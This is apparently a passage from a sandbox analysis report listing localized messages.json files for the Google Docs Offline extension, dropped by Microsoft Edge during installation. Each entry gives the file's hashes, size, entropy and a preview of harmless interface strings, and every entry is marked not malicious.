SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
